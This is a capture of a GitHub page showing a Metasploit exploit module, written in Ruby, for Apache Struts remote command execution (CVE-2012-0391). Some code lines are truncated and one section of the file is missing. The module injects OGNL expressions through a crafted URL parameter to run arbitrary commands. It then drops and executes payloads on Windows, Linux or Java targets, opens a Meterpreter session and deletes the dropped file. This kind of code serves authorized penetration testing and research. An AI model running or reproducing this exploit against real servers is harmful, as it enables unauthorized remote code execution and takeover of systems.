

Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

Sign in

Sign up

rapid7 / metasploit-framework 

Public

Notifications

Fork 14k

Star 34.1k

<> Code

Issues 410

Pull requests 43

Discussions

Actions

Projects 1

Wiki

Security

Insights

Files

eb65350

Go to file

> .github

> app

> config

> data

> db

> docker

> docs

> documentation

> external

> kubernetes

> lib

> modules

> auxiliary

> encoders

> evasion

> exploits

> aix

> android

> apple\_ios

> bsd

> bsdi

> dialup

> firefox

> freebsd

> hpux

> irix

> linux

> mainframe

> multi

> browser

> elasticsearch

> fileformat

> ftp

> gdb

> hams

> http

metasploit-framework / modules / exploits / multi / http / struts\_code\_exec\_exception\_delegator.rb

adfoster-r7 Add Meterpreter compatibility metadata 28eab4d · 3 years ago History

Code

Blame

217 lines (190 loc) · 6.98 KB

Raw

1 ##

2 # This module requires Metasploit: https://metasploit.com/download

3 # Current source: https://github.com/rapid7/metasploit-framework

4 ##

5

6 class MetasploitModule < Msf::Exploit::Remote

7 Rank = ExcellentRanking

8

9 include Msf::Exploit::CmdStager

10 include Msf::Exploit::Remote::HttpClient

11 include Msf::Exploit::EXE

12

13 def initialize(info = {})

14 super(

15 update\_info(

16 info,

17 'Name' => 'Apache Struts Remote Command Execution',

18 'Description' => %q{

19 This module exploits a remote command execution vulnerability in

20 Apache Struts versions < 2.2.1.1. This issue is caused because the

21 ExceptionDelegator interprets parameter values as OGNL expressions

22 during certain exception handling for mismatched data types of properties,

23 which allows remote attackers to execute arbitrary Java code via a

24 crafted parameter.

25 },

26 'Author' => [

27 'Johannes Dahse', # Vulnerability discovery and PoC

28 'Andreas Nusser', # Vulnerability discovery and PoC

29 'juan vazquez', # Metasploit module

30 'sinn3r', # Metasploit module

31 'mihi' # ARCH\_JAVA support

32 ],

33 'License' => MSF\_LICENSE,

34 'References' => [

35 [ 'CVE', '2012-0391'],

36 [ 'OSVDB', '78277'],

37 [ 'EDB', '18329']

38 ],

39 'Platform' => %w{java linux win},

40 'Privileged' => true,

41 'Targets' => [

42 [

43 'Windows Universal',

44 {

45 'Arch' => ARCH\_X86,

46 'Platform' => 'win',

47 'CmdStagerFlavor' => 'tftp'

48 }

49 ],

50 [

51 'Linux Universal',

52 {







53 'Arch' => ARCH\_X86,

54 'Platform' => 'linux'

55 }

56 ],

Page 1 of 4

-  activecollab\_chat.rb
-  agent\_tesla\_panel\_rce.rb
-  ajaxplorer\_checkinstall\_exec.rb
-  apache\_activemq\_upload\_js...
-  apache\_apisix\_api\_default\_to...
-  apache flink jar upload exe...

```
50         ],
51     ],
52     [
53         'Java Universal',
54         {
55             'Arch' => ARCH_JAVA,
56             'Platform' => 'java'
57         },
58     ],
59 ],
60 ],
61 'DisclosureDate' => '2012-01-06',
62 'DefaultTarget' => 2,
63 'Compat' => {
64     'Meterpreter' => {
65         'Commands' => %w[
66             stdapi_fs_delete_file
67             stdapi_sys_config_sysinfo
68         ]
69     }
70 }
71 )
72 )
73
74 register_options(
75 [
76     Opt::RPORT(8080),
77     OptString.new('TARGETURI', [ true, 'The path to a struts application action and
78     OptString.new('CMD', [ false, 'Execute this command instead of using command st
79 ])
80 )
81
82 self.needs_cleanup = true
83 end
84
85
86
87
88
89 def execute_command(cmd, opts = {})
90     uri = String.new(datastore['TARGETURI'])
91     uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"])=true,@java.
92     uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"])=true,@java.
93     uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"])=true,CMD,'
94     uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
95
96     vprint_status("Attempting to execute: #{cmd}")
97
98     resp = send_request_raw({
99         'uri' => uri,
100         'version' => '1.1',
101         'method' => 'GET',
102     }, 5)
103 end
104
105 def windows_stager
106     exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
107
108     print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
109     execute_cmdstager({ :temp => '.' })
110     @payload_exe = generate_payload_exe
111
112     print_status("Attempting to execute the payload...")
113     execute_command(@payload_exe)
114 end
115
116 def linux_stager
117     cmds = "/bin/sh@-c@echo LINE | tee FILE"
118     exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
```

```
144         cmd << "#f.close()"
145         execute_command(cmd)
146     end
147
148     def java_stager
149         @payload_exe = rand_text_alphanumeric(4 + rand(4)) + ".jar"
150         append = 'false'
151         jar = payload.encoded_jar.pack
152
153         chunk_length = 384 # 512 bytes when base64 encoded
154
155         while (jar.length > chunk_length)
156             java_upload_part(jar[0, chunk_length], @payload_exe, append)
157             jar = jar[chunk_length, jar.length - chunk_length]
158             append = 'true'
159         end
160         java_upload_part(jar, @payload_exe, append)
161
162         cmd = ""
163         # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
164         cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkCheck
165         cmd << "#q.setAccessible(true),#q.set(null,true),"
166         cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),
167         cmd << "#q.setAccessible(true),#q.set(null,false),"
168         # create classloader
169         cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[] {new java.io.File('#{@pay
170         # load class
171         cmd << "#c=#cl.loadClass('metasploit.Payload'),"
172         # invoke main method
173         cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.
174         cmd << "null,new java.lang.Object[] {new java.lang.String[0]})"
175         execute_command(cmd)
176     end
177
178     def on_new_session(client)
179         if client.type != "meterpreter"
180             print_error("Please use a meterpreter payload in order to automatically cleanup.")
181             print_error("The #{@payload_exe} file must be removed manually.")
182             return
183         end
184
185         client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
186
187         if client.sys.config.sysinfo["OS"] =~ /Windows/
188             print_error("Windows does not allow running executables to be deleted")
189             print_error("The #{@payload_exe} file must be removed manually after migrating")
190             return
191         end
192
193         print_warning("Deleting the #{@payload_exe} file")
194         client.fs.file.rm(@payload_exe)
195     end
196
197     def exploit
198         unless datastore['CMD'].blank?
199             print_status("Executing user supplied command")
200             execute_command(datastore['CMD'])
201             return
202         end
203
204         case target['Platform']
205         when 'linux'
```

```
206         linux_stager
207     when 'win'
208         windows_stager
209     when 'java'
210         java_stager
211     else
212         fail_with(Failure::NoTarget, 'Unsupported target platform!')
213     end
214
215     handler
216 end
217 end
```